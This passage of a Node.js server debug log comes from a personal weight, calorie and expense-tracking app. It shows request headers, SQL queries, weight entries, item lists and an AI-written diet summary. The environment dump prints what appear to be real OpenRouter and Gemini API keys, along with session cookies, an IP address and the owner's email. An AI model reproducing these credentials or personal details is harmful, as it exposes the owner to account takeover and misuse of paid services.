    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"108d1-zpWXMTCCl060s6Z+DopiuALl0bA"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/weight-trackor'
}
2025-12-19T05:40:08.882Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-19T05:40:08.882Z server-connect:app Executing action step identify
2025-12-19T05:40:08.882Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:08.882Z server-connect:output identity: 1
2025-12-19T05:40:08.882Z server-connect:app Executing action step restrict
2025-12-19T05:40:08.882Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:40:08.882Z server-connect:output restrict: undefined
2025-12-19T05:40:08.883Z server-connect:app Executing action step custom
2025-12-19T05:40:08.883Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-19T05:40:08.883Z server-connect:output list: [
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-19T05:40:09.081Z server-connect:app Executing action step identify
2025-12-19T05:40:09.081Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:09.082Z server-connect:output identity: 1
2025-12-19T05:40:09.416Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-19T05:40:09.417Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T05:40:09.418Z server-connect:app Executing action step identify
2025-12-19T05:40:09.418Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:09.419Z server-connect:output identity: 1
2025-12-19T05:40:09.419Z server-connect:app Executing action step restrict
2025-12-19T05:40:09.419Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:40:09.419Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T05:40:09.420Z server-connect:output restrict: undefined
2025-12-19T05:40:09.420Z server-connect:app Executing action step custom
2025-12-19T05:40:09.420Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-19T05:40:09.420Z server-connect:app Executing action step identify
2025-12-19T05:40:09.420Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:09.420Z server-connect:output identity: 1
2025-12-19T05:40:09.420Z server-connect:app Executing action step restrict
2025-12-19T05:40:09.420Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:40:09.421Z server-connect:output list: [
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-19T05:40:09.422Z server-connect:app Executing action step identify
2025-12-19T05:40:09.422Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:09.422Z server-connect:output identity: 1
2025-12-19T05:40:09.422Z server-connect:app Executing action step restrict
2025-12-19T05:40:09.422Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:40:09.424Z server-connect:output restrict: undefined
2025-12-19T05:40:09.424Z server-connect:app Executing action step select
2025-12-19T05:40:09.424Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T05:40:09.425Z server-connect:output restrict: undefined
2025-12-19T05:40:09.425Z server-connect:app Executing action step single
2025-12-19T05:40:09.425Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T05:40:09.429Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T05:40:09.430Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T05:40:14.183Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T05:40:14.183Z server-connect:app Executing action step identify
2025-12-19T05:40:14.183Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:14.183Z server-connect:output identity: 1
2025-12-19T05:40:14.183Z server-connect:app Executing action step restrict
2025-12-19T05:40:14.183Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:40:14.184Z server-connect:output restrict: undefined
2025-12-19T05:40:14.184Z server-connect:router Render template calorie-tracker
2025-12-19T05:40:14.184Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-19T05:40:14.404Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T05:40:14.404Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T05:40:14.405Z server-connect:app Executing action step identify
2025-12-19T05:40:14.405Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:14.405Z server-connect:output identity: 1
2025-12-19T05:40:14.405Z server-connect:app Executing action step restrict
2025-12-19T05:40:14.405Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:40:14.405Z server-connect:app Executing action step identify
2025-12-19T05:40:14.405Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:14.405Z server-connect:output identity: 1
2025-12-19T05:40:14.405Z server-connect:app Executing action step restrict
2025-12-19T05:40:14.405Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:14.405Z server-connect:output restrict: undefined
2025-12-19T05:40:14.405Z server-connect:app Executing action step single
2025-12-19T05:40:14.405Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T05:40:14.406Z server-connect:output restrict: undefined
2025-12-19T05:40:14.406Z server-connect:app Executing action step single
2025-12-19T05:40:14.406Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T05:40:14.406Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake focused on post-workout recovery with a protein supplement. The limited food log makes a comprehensive assessment challenging, but the inclusion of healthy fats from walnuts is positive. Consistent early morning gym sessions are a strong foundation for your goals.  Further details on other meals would provide a clearer picture of overall nutritional balance.",
    bad_points: [
      'Very limited food logging, making it difficult to assess overall nutritional balance.',
      'Lack of information on other meals throughout the day.',
      'Potential for insufficient overall nutrient intake due to sparse logging.'
    ],
    good_points: [
      'Inclusion of a post-workout protein source to aid muscle recovery.',
      'Incorporation of healthy fats from walnuts.',
      'Consistent adherence to early morning gym sessions.'
    ],
    suggestions: [
      'Ensure adequate protein intake across all meals to support muscle development.',
      'Incorporate a variety of whole foods, including complex carbohydrates and fiber-rich options.',
      'Hydrate well throughout the day, especially around workouts.',
      'Log all food and beverage intake for a more accurate assessment.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T05:40:14.407Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T05:40:14.407Z server-connect:app Executing action step select
2025-12-19T05:40:14.407Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T05:40:14.408Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
